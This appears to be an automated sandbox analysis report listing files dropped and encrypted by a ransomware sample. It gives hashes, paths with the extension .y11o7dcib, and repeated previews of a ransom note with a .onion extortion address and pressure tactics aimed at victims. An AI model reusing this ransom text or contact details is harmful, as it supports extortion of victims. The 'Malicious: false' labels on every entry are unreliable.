SHA-512:	DD7831D4A1F1EFD4782F698958A53B638D0F38065EC402A9821FEC9463A7AAD6F3BA3FE5A90ADC1F45BA039A38FF937B69243E4AA2087BBFE807855644166D38
Malicious:	false
Preview:	..,k.KQ;....R...X0~.}Cm......\.....:.v....^.."..N..=....eO.$.2-4.E.Y.........@.}*T.C.J.+..!,..2tDeO./......4.[.b=k...z..X!.<..5........o.;......!.......g..R...me.2T.Q_..o.~....\|...Br[.TV..=..O..pOM..x,o.............................................................................................29yp10v5m8k.

C:\ProgramData\Adobe\ARM\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Adobe\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Microsoft OneDrive\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Microsoft OneDrive\setup\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Microsoft OneDrive\setup\refcount.ini

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	339
Entropy (8bit):	6.026796125422586
Encrypted:	false
SSDEEP:
MD5:	C91ED26955DB3C89BED4A2A7B8943DA9
SHA1:	A7D7EDB426310E812AA1457C3A4361EC29351769
SHA-256:	2E6CBFD0424F902F31F678ABD28DA0E0F09116F36CC45E028753E5B4BD2BE4A8
SHA-512:	69299D788AB56B46DBE7FAB5B9C7FB8155579F0570F67A6F755E11532DA0E278929AF5E60C9EAEBBCD9C448B97FE727B138B85253BE51A24496D5916FB653537
Malicious:	false
Preview:	M....;0I-,.;Tx....j...,...7..XT...2..x.)........ID..4x...E_l.R.........9......7...0u`.D..1.6c$..].... Y}M..4C5?k...w....Y.....d?.E....C....g....4..,.mY\..m.(p^G..W.8tM...C.*......6...I.$D.c.....w.~....K6o....i..,.......................................................................................................29yp10v5m8k.

C:\ProgramData\Microsoft OneDrive\setup\refcount.ini.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	339
Entropy (8bit):	6.026796125422586
Encrypted:	false
SSDEEP:
MD5:	C91ED26955DB3C89BED4A2A7B8943DA9
SHA1:	A7D7EDB426310E812AA1457C3A4361EC29351769
SHA-256:	2E6CBFD0424F902F31F678ABD28DA0E0F09116F36CC45E028753E5B4BD2BE4A8
SHA-512:	69299D788AB56B46DBE7FAB5B9C7FB8155579F0570F67A6F755E11532DA0E278929AF5E60C9EAEBBCD9C448B97FE727B138B85253BE51A24496D5916FB653537
Malicious:	false
Preview:	M....;0I-,.;Tx....j...,...7..XT...2..x.)........ID..4x...E_l.R.........9......7...0u`.D..1.6c$..].... Y}M..4C5?k...w....Y.....d?.E....C....g....4..,.mY\..m.(p^G..W.8tM...C.*......6...I.$D.c.....w.~....K6o....i..,.......................................................................................................29yp10v5m8k.

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\UpdateLock-308046B0AF4A39CB

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	314
Entropy (8bit):	5.744429759329724
Encrypted:	false
SSDEEP:
MD5:	52A4CEF0699C0CA59A0375B7C15D7FEB
SHA1:	F2FE6A21273531E1054829BF65E93620389DDE6D
SHA-256:	49F169837C90397E3019EB43335A9AD07C10F8960DF96B75B22478FBA03F2EA1
SHA-512:	61F204CC4D5A6E4F445347D476F58EFF84CFB3D3ACF2FC2ECCA2A7BC3E5B986C7FC3B1516FD17128B8DF302F7D0367F5EA81D4DE669335A67E1E36528DE1B376
Malicious:	false
Preview:	..->s....W.]._&L.Q...i2;.}..F.OX...t..\}..$P,\...g..H..@.R..........T........&.."R.......m...........4..d..G..OX.P.5....8.{.d.....qnl......W........O.2.1.J[I.m:n..S\|...h..Q....'P......N.....H_...................................................................................................29yp10v5m8k.

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\UpdateLock-308046B0AF4A39CB.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	314
Entropy (8bit):	5.744429759329724
Encrypted:	false
SSDEEP:
MD5:	52A4CEF0699C0CA59A0375B7C15D7FEB
SHA1:	F2FE6A21273531E1054829BF65E93620389DDE6D
SHA-256:	49F169837C90397E3019EB43335A9AD07C10F8960DF96B75B22478FBA03F2EA1
SHA-512:	61F204CC4D5A6E4F445347D476F58EFF84CFB3D3ACF2FC2ECCA2A7BC3E5B986C7FC3B1516FD17128B8DF302F7D0367F5EA81D4DE669335A67E1E36528DE1B376
Malicious:	false
Preview:	..->s....W.]._&L.Q...i2;.}..F.OX...t..\}..$P,\...g..H..@.R..........T........&.."R.......m...........4..d..G..OX.P.5....8.{.d.....qnl......W........O.2.1.J[I.m:n..S\|...h..Q....'P......N.....H_...................................................................................................29yp10v5m8k.

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_1b98743d-6a4b-4048-a8dc-213a719d2c9d.json

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7584
Entropy (8bit):	6.689831784989024
Encrypted:	false
SSDEEP:
MD5:	2E1B4D4D9A1CB5619CC36750C112459A
SHA1:	B7C9E6081339F95FAA3E1584EC2E3220B480CAC2
SHA-256:	73409E18A31AD98E7BC238D2772527B188607F62D73B5B73A5216019826AAA51
SHA-512:	6914F6F5862F9824BDA96D373FE17FB17D496B18AD68E5E6B9D401D1463616898D84BAD6D63ABE6C7066D4C45DF233DEAD28315677681ABD7327AD52360F57F6
Malicious:	false
Preview:	.>d.A.[...k...e.1q....'M.nCt....h.5sw/>.7.........4.Rs.`L4[.."creationDate":"2023-10-03T11:50:57.852Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":".ub.W.....s...x.3?..N+G.n.a....\|.bk.(a.n........d.Oh.7AiP..:"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"6.y'.R.....f\.Z(.n0....[gF.k.x...>.!>a(}.n..S.......7..&.p.v..plicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232..(.......l..L+.l,..G'[.)D#...6.N}9$..f..........0..#.<.7...8.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distribut.s~.T.....'U..}.q?H....`..;.w.... .g{09a.e..R.....w..9. FoJ.rChannel":null,"partnerNames":[]},"system":{"memoryMB":4095,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":2,"co.yc...U...k...3..Z]....`>.+D!....m.f0yoZ

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_1b98743d-6a4b-4048-a8dc-213a719d2c9d.json.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7584
Entropy (8bit):	6.689831784989024
Encrypted:	false
SSDEEP:
MD5:	2E1B4D4D9A1CB5619CC36750C112459A
SHA1:	B7C9E6081339F95FAA3E1584EC2E3220B480CAC2
SHA-256:	73409E18A31AD98E7BC238D2772527B188607F62D73B5B73A5216019826AAA51
SHA-512:	6914F6F5862F9824BDA96D373FE17FB17D496B18AD68E5E6B9D401D1463616898D84BAD6D63ABE6C7066D4C45DF233DEAD28315677681ABD7327AD52360F57F6
Malicious:	false
Preview:	.>d.A.[...k...e.1q....'M.nCt....h.5sw/>.7.........4.Rs.`L4[.."creationDate":"2023-10-03T11:50:57.852Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":".ub.W.....s...x.3?..N+G.n.a....\|.bk.(a.n........d.Oh.7AiP..:"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"6.y'.R.....f\.Z(.n0....[gF.k.x...>.!>a(}.n..S.......7..&.p.v..plicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232..(.......l..L+.l,..G'[.)D#...6.N}9$..f..........0..#.<.7...8.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distribut.s~.T.....'U..}.q?H....`..;.w.... .g{09a.e..R.....w..9. FoJ.rChannel":null,"partnerNames":[]},"system":{"memoryMB":4095,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":2,"co.yc...U...k...3..Z]....`>.+D!....m.f0yoZ

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Package Cache\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Package Cache\{0025DD72-A959-45B5-A0A3-7EFEB15A8050}v14.36.32532\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	650906
Entropy (8bit):	7.5998971638883885
Encrypted:	false
SSDEEP:
MD5:	C71B19D007B6C46A03FFFECF82B1E242
SHA1:	E96074113215FBAD5B5345D6CA63D086EEE32251
SHA-256:	2146FF3FA7AC7BBECBA124F8F46F94F599EE0940FA8BB814FF58892386F71D3A
SHA-512:	016475EC6E6E28B9BDD001CEE6E1D56818017DA8C7115A758F7C9D43B99FEDE465528D7FF473B87160B7A2D0897EEB7E719D51972C9D6882DD54A777876166EA
Malicious:	false
Preview:	'._..KZw>..%@.Z\.km...\|m.y.'X...gy~p.a-...aK..?....HL..?W..0k.........!..L.!This program cannot be run in DOS mode....$.......c...'.u.'.u.'.u.......u.....[.u.....?.u...v.4.u...q.4.u...p...u.Dw9u../...f.../....v#..Z...4X.E....Vl..4AJ.D....y.D..9..V4............................PE..L......Z.....................v......m.............@..........................p.......*....@.........j....[Zw:..%..Z\.km...\|mN..'.....~l.a-...aK...~...`L...P.w.k. t..T...................tt......@n..@...................$........................text.............................. ..`.rdata...y....^w:..%..^\.km...\|m.y.'.........a-S..a.?.....J..?W..1k.....@....wixburn8...........................@..@.tls................................@....gfids..............................@..@D..KZw&.%..\\.Wm..&zm.y.'X...gy~0.am=..m.(.......xK...W...m.............@..B................................................................................................................j....KZw:..%..Z\.km...\|m.y.'X...gy~p.a-

C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	650906
Entropy (8bit):	7.5998971638883885
Encrypted:	false
SSDEEP:
MD5:	C71B19D007B6C46A03FFFECF82B1E242
SHA1:	E96074113215FBAD5B5345D6CA63D086EEE32251
SHA-256:	2146FF3FA7AC7BBECBA124F8F46F94F599EE0940FA8BB814FF58892386F71D3A
SHA-512:	016475EC6E6E28B9BDD001CEE6E1D56818017DA8C7115A758F7C9D43B99FEDE465528D7FF473B87160B7A2D0897EEB7E719D51972C9D6882DD54A777876166EA
Malicious:	false
Preview:	'._..KZw>..%@.Z\.km...\|m.y.'X...gy~p.a-...aK..?....HL..?W..0k.........!..L.!This program cannot be run in DOS mode....$.......c...'.u.'.u.'.u.......u.....[.u.....?.u...v.4.u...q.4.u...p...u.Dw9u../...f.../....v#..Z...4X.E....Vl..4AJ.D....y.D..9..V4............................PE..L......Z.....................v......m.............@..........................p.......*....@.........j....[Zw:..%..Z\.km...\|mN..'.....~l.a-...aK...~...`L...P.w.k. t..T...................tt......@n..@...................$........................text.............................. ..`.rdata...y....^w:..%..^\.km...\|m.y.'.........a-S..a.?.....J..?W..1k.....@....wixburn8...........................@..@.tls................................@....gfids..............................@..@D..KZw&.%..\\.Wm..&zm.y.'X...gy~0.am=..m.(.......xK...W...m.............@..B................................................................................................................j....KZw:..%..Z\.km...\|m.y.'X...gy~p.a-

C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\state.rsm

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1194
Entropy (8bit):	6.8126153592478005
Encrypted:	false
SSDEEP:
MD5:	50DDFBDC60E7CC4A9751028763D54DB7
SHA1:	2F90C7159D44C29CC842CF5F1223A6AC980E9F37
SHA-256:	FD26A9BBB6BA08F8405CBC237CEECBB24F4047671AA296731E952C21F9B8EF90
SHA-512:	E00388F180CA311A01AE824B932B3B3871E467F587C2E152BC9D25F975774B233EADE32B22035310C00FB59142AB7363A5C7996B7C9A36E994F9AB06E41C26CA
Malicious:	false
Preview:	9..w3.Z..%.....Yl..UU...U\|.M7.VF..Es......V&.t..s....NCI1l9..w3.Z..%.....Yl..UU...U\|.M7.VF..Es......V&.t..s....NCI1l9..w3.Z..%.....Yl..UU...U\|.M7.VF..Es......V&.t..s....NCI1l9..w3.Z..%.....Yl..UU...U\|.M7.VF..Es......W&.t..s....6C.1.9...3eZy.c....:l.1Ux...qU..,7\|V2.AE..........3&.t..s....NCH1l9..w3^Zu.].....7l.9UO...cU..97[V5.tE..........5&.t..s....NCI1l9..w3.Z..%.....Tl...UC...@U..#7jV.tE=........V&.t..>.....<C&1.9...3}Z<.s....,l..9U....)UW.m7<Vv. EF......d&.t........=C=1.9...3\|Zh.D....<l..}UR..6UU.m7#Vf. EG......e&.t..@....NCH1l9..w3^Zu.].....7l.9UO...pU..7gV(.pE..........5&.t..s.....Cs109...3lZn.V....8l.1UP...FU..:7`V.~E...........&.t........=C=1B9..A3=Z2.@....Xl..TU...U+.$7vV..dE..........$&.t........"C.1.9...3jZy.c....=l.'U(...U\|..74V..DE..........>&.t.......C&1w.n.l.o.a.d.s.\.....................................Ep.T...p0.h..+..yP...Tf.l\H..".>.9.....5...v.WgBt&.a.......m.I.......(......@...i..{....+....d..0..'.0.......q.

C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\state.rsm.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1194
Entropy (8bit):	6.8126153592478005
Encrypted:	false
SSDEEP:
MD5:	50DDFBDC60E7CC4A9751028763D54DB7
SHA1:	2F90C7159D44C29CC842CF5F1223A6AC980E9F37
SHA-256:	FD26A9BBB6BA08F8405CBC237CEECBB24F4047671AA296731E952C21F9B8EF90
SHA-512:	E00388F180CA311A01AE824B932B3B3871E467F587C2E152BC9D25F975774B233EADE32B22035310C00FB59142AB7363A5C7996B7C9A36E994F9AB06E41C26CA
Malicious:	false
Preview:	9..w3.Z..%.....Yl..UU...U\|.M7.VF..Es......V&.t..s....NCI1l9..w3.Z..%.....Yl..UU...U\|.M7.VF..Es......V&.t..s....NCI1l9..w3.Z..%.....Yl..UU...U\|.M7.VF..Es......V&.t..s....NCI1l9..w3.Z..%.....Yl..UU...U\|.M7.VF..Es......W&.t..s....6C.1.9...3eZy.c....:l.1Ux...qU..,7\|V2.AE..........3&.t..s....NCH1l9..w3^Zu.].....7l.9UO...cU..97[V5.tE..........5&.t..s....NCI1l9..w3.Z..%.....Tl...UC...@U..#7jV.tE=........V&.t..>.....<C&1.9...3}Z<.s....,l..9U....)UW.m7<Vv. EF......d&.t........=C=1.9...3\|Zh.D....<l..}UR..6UU.m7#Vf. EG......e&.t..@....NCH1l9..w3^Zu.].....7l.9UO...pU..7gV(.pE..........5&.t..s.....Cs109...3lZn.V....8l.1UP...FU..:7`V.~E...........&.t........=C=1B9..A3=Z2.@....Xl..TU...U+.$7vV..dE..........$&.t........"C.1.9...3jZy.c....=l.'U(...U\|..74V..DE..........>&.t.......C&1w.n.l.o.a.d.s.\.....................................Ep.T...p0.h..+..yP...Tf.l\H..".>.9.....5...v.WgBt&.a.......m.I.......(......@...i..{....+....d..0..'.0.......q.

C:\ProgramData\Package Cache\{D5D19E2F-7189-42FE-8103-92CD1FA457C2}v14.36.32532\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
